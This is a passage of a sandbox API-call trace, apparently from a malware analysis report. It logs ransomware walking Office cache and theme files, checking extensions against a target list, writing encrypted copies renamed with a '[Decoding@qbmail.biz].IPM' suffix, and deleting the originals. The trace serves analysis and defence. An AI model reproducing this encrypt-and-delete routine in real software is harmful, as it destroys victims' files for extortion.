Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0095.453] lstrlenW (lpString=".jpg") returned 4 [0095.453] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0095.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0095.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0095.453] lstrlenW (lpString=".doc") returned 4 [0095.453] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0095.453] lstrlenW (lpString=".docx") returned 5 [0095.453] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0095.453] lstrlenW (lpString=".pdf") returned 4 [0095.453] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0095.453] lstrlenW (lpString=".xls") returned 4 [0095.453] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0095.453] lstrlenW (lpString=".xlsx") returned 5 [0095.453] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0095.453] lstrlenW (lpString=".ppt") returned 4 [0095.453] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0095.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0095.453] lstrlenW (lpString=".zip") returned 4 [0095.453] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0095.453] lstrlenW (lpString=".rar") returned 4 [0095.453] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0095.454] lstrlenW (lpString=".bz2") returned 4 [0095.454] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0095.454] lstrlenW (lpString=".7z") returned 3 [0095.454] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0095.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0095.454] lstrlenW (lpString=".dbf") returned 4 [0095.454] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0095.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0095.455] lstrlenW (lpString=".1cd") returned 4 [0095.455] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0095.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0095.455] lstrlenW (lpString=".jpg") returned 4 [0095.455] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0095.455] lstrcmpiW (lpString1=".PNG", lpString2=".IPM") returned 1 [0095.455] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0095.455] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 13 os_tid = 0x36c [0068.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x3860048 [0068.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x3870050 [0068.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66fed8 [0068.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x65dac8 [0068.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66fef0 [0068.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x3960020 [0068.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66ff08 [0068.692] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66ff08, Size=0x20) returned 0x624a40 [0068.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66ff08 [0068.692] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66ff08, Size=0x20) returned 0x624a68 [0068.692] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0068.692] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0068.692] Wow64DisableWow64FsRedirection (in: OldValue=0x2daff58 | out: OldValue=0x2daff58*=0x0) returned 1 [0068.692] lstrlenW (lpString="kernel32.dll") returned 12 [0068.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x624a40 | out: hHeap=0x5d0000) returned 1 [0068.692] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0068.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x624a68 | out: hHeap=0x5d0000) returned 1 [0068.693] Sleep (dwMilliseconds=0x64) [0068.962] Sleep (dwMilliseconds=0x64) [0069.322] Sleep (dwMilliseconds=0x64) [0069.546] Sleep (dwMilliseconds=0x64) [0069.846] Sleep (dwMilliseconds=0x64) [0069.952] Sleep (dwMilliseconds=0x64) [0070.070] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0070.070] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0070.070] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0070.168] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=1450) returned 1 [0070.168] CloseHandle (hObject=0x1bc) returned 1 [0070.168] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0070.168] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0070.168] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0070.169] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0070.169] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0070.169] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0070.169] GetLastError () returned 0x0 [0070.169] ReadFile (in: hFile=0x1bc, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x5aa, lpOverlapped=0x0) returned 1 [0070.399] WriteFile (in: hFile=0x1e8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0070.401] ReadFile (in: hFile=0x1bc, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0070.401] WriteFile (in: hFile=0x1e8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xf6, lpOverlapped=0x0) returned 1 [0070.401] SetEndOfFile (hFile=0x1e8) returned 1 [0070.401] CloseHandle (hObject=0x1e8) returned 1 [0070.407] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0070.407] SetEndOfFile (hFile=0x1bc) returned 1 [0070.409] CloseHandle (hObject=0x1bc) returned 1 [0070.409] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0070.410] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0070.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0070.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0070.410] lstrlenW (lpString=".doc") returned 4 [0070.410] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0070.410] lstrlenW (lpString=".docx") returned 5 [0070.410] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0070.411] lstrlenW (lpString=".pdf") returned 4 [0070.411] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0070.411] lstrlenW (lpString=".xls") returned 4 [0070.411] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0070.411] lstrlenW (lpString=".xlsx") returned 5 [0070.411] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0070.411] lstrlenW (lpString=".ppt") returned 4 [0070.411] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0070.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0070.411] lstrlenW (lpString=".zip") returned 4 [0070.411] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0070.411] lstrlenW (lpString=".rar") returned 4 [0070.411] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0070.411] lstrlenW (lpString=".bz2") returned 4 [0070.411] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0070.412] lstrlenW (lpString=".7z") returned 3 [0070.412] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0070.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0070.412] lstrlenW (lpString=".dbf") returned 4 [0070.412] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0070.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0070.412] lstrlenW (lpString=".1cd") returned 4 [0070.412] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0070.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0070.412] lstrlenW (lpString=".jpg") returned 4 [0070.412] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0070.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0070.412] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0070.412] lstrlenW (lpString=".doc") returned 4 [0070.412] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0070.413] lstrlenW (lpString=".docx") returned 5 [0070.413] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0070.413] lstrlenW (lpString=".pdf") returned 4 [0070.413] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0070.413] lstrlenW (lpString=".xls") returned 4 [0070.413] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0070.413] lstrlenW (lpString=".xlsx") returned 5 [0070.413] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0070.413] lstrlenW (lpString=".ppt") returned 4 [0070.413] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0070.413] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0070.413] lstrlenW (lpString=".zip") returned 4 [0070.413] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0070.413] lstrlenW (lpString=".rar") returned 4 [0070.413] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0070.413] lstrlenW (lpString=".bz2") returned 4 [0070.413] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0070.413] lstrlenW (lpString=".7z") returned 3 [0070.414] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0070.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0070.414] lstrlenW (lpString=".dbf") returned 4 [0070.414] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0070.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0070.414] lstrlenW (lpString=".1cd") returned 4 [0070.414] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0070.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0070.414] lstrlenW (lpString=".jpg") returned 4 [0070.414] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0070.414] Sleep (dwMilliseconds=0x64) [0070.859] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0070.859] lstrlenW (lpString="WordMUI.xml") returned 11 [0070.859] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.543] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=1800) returned 1 [0071.544] CloseHandle (hObject=0x1e8) returned 1 [0071.544] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0071.544] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0071.544] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.544] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0071.545] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0071.545] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0071.545] GetLastError () returned 0x0 [0071.545] ReadFile (in: hFile=0x1e8, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x708, lpOverlapped=0x0) returned 1 [0071.887] WriteFile (in: hFile=0x1e4, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x710, lpOverlapped=0x0) returned 1 [0071.889] ReadFile (in: hFile=0x1e8, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0071.889] WriteFile (in: hFile=0x1e4, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xea, lpOverlapped=0x0) returned 1 [0071.889] SetEndOfFile (hFile=0x1e4) returned 1 [0071.889] CloseHandle (hObject=0x1e4) returned 1 [0071.892] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0071.892] SetEndOfFile (hFile=0x1e8) returned 1 [0071.894] CloseHandle (hObject=0x1e8) returned 1 [0071.895] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0071.895] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0071.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0071.896] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0071.896] lstrlenW (lpString=".doc") returned 4 [0071.896] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.896] lstrlenW (lpString=".docx") returned 5 [0071.896] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0071.896] lstrlenW (lpString=".pdf") returned 4 [0071.896] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.896] lstrlenW (lpString=".xls") returned 4 [0071.896] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.896] lstrlenW (lpString=".xlsx") returned 5 [0071.896] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0071.896] lstrlenW (lpString=".ppt") returned 4 [0071.897] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0071.897] lstrlenW (lpString=".zip") returned 4 [0071.897] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.897] lstrlenW (lpString=".rar") returned 4 [0071.897] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.897] lstrlenW (lpString=".bz2") returned 4 [0071.897] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.897] lstrlenW (lpString=".7z") returned 3 [0071.897] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0071.897] lstrlenW (lpString=".dbf") returned 4 [0071.897] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0071.897] lstrlenW (lpString=".1cd") returned 4 [0071.897] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0071.898] lstrlenW (lpString=".jpg") returned 4 [0071.898] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0071.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0071.898] lstrlenW (lpString=".doc") returned 4 [0071.898] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.898] lstrlenW (lpString=".docx") returned 5 [0071.898] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0071.898] lstrlenW (lpString=".pdf") returned 4 [0071.898] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.898] lstrlenW (lpString=".xls") returned 4 [0071.898] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.898] lstrlenW (lpString=".xlsx") returned 5 [0071.899] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0071.899] lstrlenW (lpString=".ppt") returned 4 [0071.899] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0071.899] lstrlenW (lpString=".zip") returned 4 [0071.899] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.899] lstrlenW (lpString=".rar") returned 4 [0071.899] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.899] lstrlenW (lpString=".bz2") returned 4 [0071.899] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.899] lstrlenW (lpString=".7z") returned 3 [0071.899] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0071.899] lstrlenW (lpString=".dbf") returned 4 [0071.899] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0071.900] lstrlenW (lpString=".1cd") returned 4 [0071.900] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0071.900] lstrlenW (lpString=".jpg") returned 4 [0071.900] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.901] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0071.901] lstrlenW (lpString="Office32MUI.xml") returned 15 [0071.901] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.903] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=1383) returned 1 [0071.903] CloseHandle (hObject=0x1e8) returned 1 [0071.903] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0071.903] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0071.903] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.904] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0071.904] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0071.904] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0071.905] GetLastError () returned 0x0 [0071.905] ReadFile (in: hFile=0x1e8, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x567, lpOverlapped=0x0) returned 1 [0071.916] WriteFile (in: hFile=0x1e4, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x570, lpOverlapped=0x0) returned 1 [0071.918] ReadFile (in: hFile=0x1e8, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0071.918] WriteFile (in: hFile=0x1e4, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, 